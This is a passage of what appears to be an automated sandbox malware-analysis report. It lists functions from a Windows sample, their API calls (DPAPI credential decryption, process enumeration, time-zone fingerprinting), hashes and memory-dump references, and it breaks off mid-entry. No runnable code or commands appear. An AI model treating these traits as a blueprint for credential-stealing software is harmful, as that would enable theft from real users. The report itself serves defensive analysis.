Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 35613ba527fcdfa0dd49acfd75aedc093dd0674afefd318d89fe2cf6b0bdd13d
Instruction ID: d3b531488b4ea67f366130334ac0524bf74f5810f6c173c24248c7eea1ffaa8f
Opcode Fuzzy Hash: 35613ba527fcdfa0dd49acfd75aedc093dd0674afefd318d89fe2cf6b0bdd13d
Instruction Fuzzy Hash: D4315E75901218ABDB24DF52CC45FEEB778EB48701F1042A9B90AB2190DB306A89CFA5

Function 00C58EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00C45184,40000001,00000000,00000000,?,00C45184), ref: 00C58EC0

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 2ca4bca0b3286b07b103b337cbc068d154f7e84d95d9206341118e3c4449e911
Instruction ID: 4f0f17512818b047c495fae92a68d46fc173f5a06b4d2b85894d7b408e088167
Opcode Fuzzy Hash: 2ca4bca0b3286b07b103b337cbc068d154f7e84d95d9206341118e3c4449e911
Instruction Fuzzy Hash: F9114C78200204BFDB00CFA5DC89FA733A9AF89305F109558FD199B250DB75ED89DB64

Function 00C49AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C44EEE,00000000,00000000), ref: 00C49AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00C44EEE,00000000,?), ref: 00C49B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C44EEE,00000000,00000000), ref: 00C49B2A
LocalFree.KERNEL32(?,?,?,?,00C44EEE,00000000,?), ref: 00C49B3F

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 38a720d7deed5777a47788ca835641f4ddccc3a3a810444d3325cdcc38440275
Instruction ID: dcf60e7ee7dcfd4ff425225f23a2ad0521f04207ae719321da9add337882d7e1
Opcode Fuzzy Hash: 38a720d7deed5777a47788ca835641f4ddccc3a3a810444d3325cdcc38440275
Instruction Fuzzy Hash: 3911A4B4240208AFEB14CF64DC95FAA77B5FB89700F208059FA199B390C775AA01CB50

Function 00C57980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00C60E00,00000000,?), ref: 00C579B0
RtlAllocateHeap.NTDLL(00000000), ref: 00C579B7
GetLocalTime.KERNEL32(?,?,?,?,?,00C60E00,00000000,?), ref: 00C579C4
wsprintfA.USER32 ref: 00C579F3

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: d7edbb9c3730afad7edfc1440e72ed3716e6a1cb951c36cc3e0d526576d6cf6d
Instruction ID: 748bd47be77aa47e5e37a9707ebac04995bf7ea08fc5d58909948d7221f61452
Opcode Fuzzy Hash: d7edbb9c3730afad7edfc1440e72ed3716e6a1cb951c36cc3e0d526576d6cf6d
Instruction Fuzzy Hash: 8D112AB2904118ABDB14DFCADD45BBEB7F8FB4CB11F14421AF605A2280E3395944D7B5

Function 00C57A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,008A01F8,00000000,?,00C60E10,00000000,?,00000000,00000000), ref: 00C57A63
RtlAllocateHeap.NTDLL(00000000), ref: 00C57A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,008A01F8,00000000,?,00C60E10,00000000,?,00000000,00000000,?), ref: 00C57A7D
wsprintfA.USER32 ref: 00C57AB7

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 4ac5e61c8fa6f331335f60bb933db92377a2e866fcb3baf2164a1e94319a5d5e
Instruction ID: 9d5569b1aaf6c74c1f6d3997ad1577f3c722059baf26db2b6e7e214f0b9b5414
Opcode Fuzzy Hash: 4ac5e61c8fa6f331335f60bb933db92377a2e866fcb3baf2164a1e94319a5d5e
Instruction Fuzzy Hash: A81182B1945218DFEB208B55DC49F59B778F704711F1043A6E91AA32C0D7741A84CF51

Function 01012BE7 Relevance: 5.4, Strings: 3, Instructions: 1660COMMON

Download Yara Rule

Strings

:.~, xrefs: 01013A47
?o, xrefs: 01013404
72_, xrefs: 01012EBB

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 72_$:.~$ ?o
API String ID: 0-513434595
Opcode ID: b900dc054c837cb418e763aebecd7494a9f8781802ff27657921e19e07301293
Instruction ID: 071b5bb4f66f7c1f550efa795f5327538d711b5d785fb551cd2c5fa984a55cf1
Opcode Fuzzy Hash: b900dc054c837cb418e763aebecd7494a9f8781802ff27657921e19e07301293
Instruction Fuzzy Hash: 3AB217F360C200AFE3086E2DEC8577ABBE5EFD4720F1A853DE6C587744EA3558058696

Function 00C53720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00C5E118,00000000,00000001,00C5E108,00000000), ref: 00C53758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00C537B0

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 643a11895f6a48d19ac574a780d00775889845d5765dbacfcc023f73cbc55299
Instruction ID: d1293a44617ade847714dc64c3324ed7b2a552a948cdffe0c99b5ce2d1526e28
Opcode Fuzzy Hash: 643a11895f6a48d19ac574a780d00775889845d5765dbacfcc023f73cbc55299
Instruction Fuzzy Hash: 56410975A00A289FDB24DB58CC94B9BB7B4BB48702F4041D9E608E72D0E7716EC9CF50

Function 00C49B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00C49B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00C49BA3
LocalFree.KERNEL32(?), ref: 00C49BD3

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 5acfb958773f2c641c840113059165a752a17360dd937df822776a6e3feef1f5
Instruction ID: acaf10388dda56190af7453c5adcea1d10b632891e65624825428bc0075b2290
Opcode Fuzzy Hash: 5acfb958773f2c641c840113059165a752a17360dd937df822776a6e3feef1f5
Instruction Fuzzy Hash: 8E11C9B8A00209EFDB04DF94D989AAEB7B5FF88300F1445A9E915A7350D774AE14CFA1

Function 01008C55 Relevance: 4.1, Strings: 2, Instructions: 1595COMMON

Download Yara Rule

Strings

R89, xrefs: 01009426
q%y{, xrefs: 0100966E

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: R89$q%y{
API String ID: 0-252007074
Opcode ID: 3817c0859691b447f4767926e6437fe81c89187a28c9333a4e92a913c2fe2b7d
Instruction ID: fbbd31cf95c3bee22b67586fbe18a421812008f042a057abee829864bdeeec92
Opcode Fuzzy Hash: 3817c0859691b447f4767926e6437fe81c89187a28c9333a4e92a913c2fe2b7d
Instruction Fuzzy Hash: 91B219F3A0C2049FE304AE2DEC8567ABBE5EFD4320F16893DE6C5C7344EA3558058696

Function 00F17033 Relevance: 2.7, Strings: 2, Instructions: 194COMMON

Download Yara Rule

Strings

7\~, xrefs: 00F17186
=:w, xrefs: 00F17074

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 7\~$=:w
API String ID: 0-3789187258
Opcode ID: 9b7dfd4de10312fa711557acc95b5e4413ba0c8623cc769e8ee77763fdc362b4
Instruction ID: b6c1f31b10a3fabb0134777f766634b3497ea6b2dfb72124dc1257bdcddafe3a
Opcode Fuzzy Hash: 9b7dfd4de10312fa711557acc95b5e4413ba0c8623cc769e8ee77763fdc362b4
Instruction Fuzzy Hash: 0D51C3F2A0C6049FF701BE29DC85B6AB7D5EF94310F16893CE6C883344EA3558158787

Function 01011562 Relevance: 2.5, Strings: 1, Instructions: 1269COMMON

Download Yara Rule

Strings

-?, xrefs: 01011C14

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -?
API String ID: 0-4226073365
Opcode ID: a43d86d1fb8cedc131ed815fa803420f3074802f7b3e70a47caf2eff985819d1
Instruction ID: 6e1a0681cf404b2edb9eafa0738505fd3288ac7187a02a6708462f902b0044b8
Opcode Fuzzy Hash: a43d86d1fb8cedc131ed815fa803420f3074802f7b3e70a47caf2eff985819d1
Instruction Fuzzy Hash: FB8207F360C204AFE3046E2DEC8566AF7E9EF94760F1A4A3DE6C4C7744EA3558048796

Function 00F31823 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

Vy~, xrefs: 00F31845

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Vy~
API String ID: 0-958377082
Opcode ID: 40aea3346453d6942338c253df8233f178ae36eba1657a83230b6548b213e84b
Instruction ID: 42cd2e8c6d159fc9939caef8a4c21a87f24a72bdc75c14e6382483781008a3eb
Opcode Fuzzy Hash: 40aea3346453d6942338c253df8233f178ae36eba1657a83230b6548b213e84b
Instruction Fuzzy Hash: E1712AB3A0C2048FE3046E69DC9576AFBE6EB84720F1A453DD9C887380EA7558058786

Function 00FA4FBB Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

U9U=, xrefs: 00FA5107

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: U9U=
